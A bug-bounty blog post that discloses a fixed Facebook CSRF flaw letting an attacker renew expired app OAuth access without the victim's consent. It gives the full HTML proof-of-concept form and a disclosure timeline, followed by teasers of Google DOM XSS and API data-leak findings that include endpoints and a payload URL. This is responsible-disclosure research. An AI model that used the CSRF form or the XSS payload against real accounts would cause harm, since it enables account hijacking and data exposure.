[Facebook] CSRF to renew access to Apps

 It was possible for an attacker to renew access to Apps which have expired for the victim without the victim's consent.

CSRF  POC -

<html><body><script>history.pushState('', '', '/')</script><form action="https://www.facebook.com/v2.3/dialog/oauth"><input type="hidden" name="app&#95;id" value="XXX" /><input type="hidden" name="auth&#95;type" value="" /><input type="hidden" name="cbt" value="1622970398155" /><input type="hidden" name="channel&#95;url" value="https&#58;&#47;&#47;staticxx&#46;facebook&#46;com&#47;x&#47;connect&#47;xd&#95;arbiter&#47;&#63;version&#61;46&#35;cb&#61;f11c70b8d77d13&amp;domain&#61;www&#46;jiosaavn&#46;com&amp;origin&#61;https&#37;3A&#37;2F&#37;2Fwww&#46;jiosaavn&#46;com&#37;2Ff1e7baa12b0f5a4&amp;relation&#61;opener" /><input type="hidden" name="client&#95;id" value="XXX" /><input type="hidden" name="display" value="popup" /><input type="hidden" name="domain" value="www&#46;XXX&#46;com" /><input type="hidden" name="e2e" value="&#123;&#125;" /><input type="hidden" name="fallback&#95;redirect&#95;uri" value="https&#58;&#47;&#47;www&#46;XXX&#46;com&#47;signup&#63;redirect&#61;&#47;" /><input type="hidden" name="fx&#95;app" value="facebook" /><input type="hidden" name="locale" value="en&#95;US" /><input type="hidden" name="logger&#95;id" value="f256cfb96281ce4" /><input type="hidden" name="origin" value="1" /><input type="hidden" name="redirect&#95;uri" value="https&#58;&#47;&#47;staticxx&#46;facebook&#46;com&#47;x&#47;connect&#47;xd&#95;arbiter&#47;&#63;version&#61;46&#35;cb&#61;f232d7fd018cdac&amp;domain&#61;www&#46;jiosaavn&#46;com&amp;origin&#61;https&#37;3A&#37;2F&#37;2Fwww&#46;XXX&#46;com&#37;2Ff1e7baa12b0f5a4&amp;relation&#61;opener&amp;frame&#61;f3505dbd2db68" /><input type="hidden" name="response&#95;type" value="token&#44;signed&#95;request&#44;graph&#95;domain" /><input type="hidden" name="return&#95;scopes" value="false" /><input type="hidden" name="scope" value="public&#95;profile&#44;email" /><input type="hidden" name="sdk" value="joey" /><input type="hidden" name="version" value="v2&#46;3" /><input type="submit" value="Submit request" /></form></body></html>
Timeline -
Reported - Sunday, June 6, 2021Triaged - Friday, June 18, 2021Rewarded - Thursday, September 9, 2021 [with bonus]Fixed - Tuesday, November 30, 2021

Popular posts from this blog

[Google] Access to BGP server + DOM XSS

 A hacker could have had the access to a BGP REST API server without any authorisation which was leading to leak of internal network info, devices info, network configuration and modification. Apart from that, there was a DOM XSS vulnerability in the target IP asset as well. POC - An IP address had a BGP server running on it. The access to it was an API service " Sonic Network Management APIs". These API calls could have been made without authorisation(access_token) and they were all listed with specifications on - " https://IP/ui/model.html". Endpoints such as - /ui/model.html?urls.primaryName=sonic-interface.yaml#/sonic-interface/get_sonic_interface_sonic_interface /ui/model.html?urls.primaryName=sonic-port.yaml#/sonic-port/get_sonic_port_sonic_port /ui/model.html?urls.primaryName=openconfig-lldp.yaml#/openconfig-lldp/get_openconfig_lldp_lldp_interfaces /ui/model.html?urls.primaryName=openconfig-platform.yaml#/openconfig-platform/get_openconfig_platform_components...
Read more

[Google] YouTube "restconf" Swagger-UI XSS

  During my recon, I came across a few Google owned IP assets which were running "restconfig" services hosted on Swagger-UI. Dawid Moczadło has written a detailed article here . POC - Three IP assets on -  "https://IP/ui" were vulnerable to DOM XSS on this endpoint - "/ui/model.html?configUrl=http://hackingmonks/test.json". The Swagger-UI did show the available API endpoints for the service but had authorisation in place(access_token was needed). During this period, I had found 4th asset which had the same vulnerability along with additional exploitation, which was reported in another ticket. The write-up can be found here ( Access to BGP server + DOM XSS ). Timeline - Reported - 22.05.2023 Triaged - 22.05.2023 The assets were no longer accessible to the public -  09.06.2023 Accepted - 07.06.2023 Rewarded - 13.06.2023 Google's date for the fix - 08.12.2023
Read more

[Google] Disclose hidden Blogger profile Display name and Profile photo

 Because of an unfiltered response to an API call, it was possible for anyone to fetch hidden Blogger Profile Display name and Profile photo. POC - An endpoint going to - ========================================= GET https://blogger.googleapis.com/v3/blogs/target_blog_id/posts?fetchBodies=true&fetchImages=true&maxResults=69&view=VIEW_TYPE_UNSPECIFIED&key=[YOUR_API_KEY] HTTP/1.1 Authorization: Bearer [YOUR_ACCESS_TOKEN] ========================================= Would respond with the hidden Profile Display name and Profile photo as below - ========================================= "author": {     "id": "blogger_id",     "displayName": "blogger_name",     "url": "https://www.blogger.com/profile/blogger_id",     "image": {       "url": "//2.bp.blogspot.com/blogger_photo.jpg" } ========================================= Timeline - Reported - 31.01.2023 Triaged - 01.02.2023 Acc...
Read more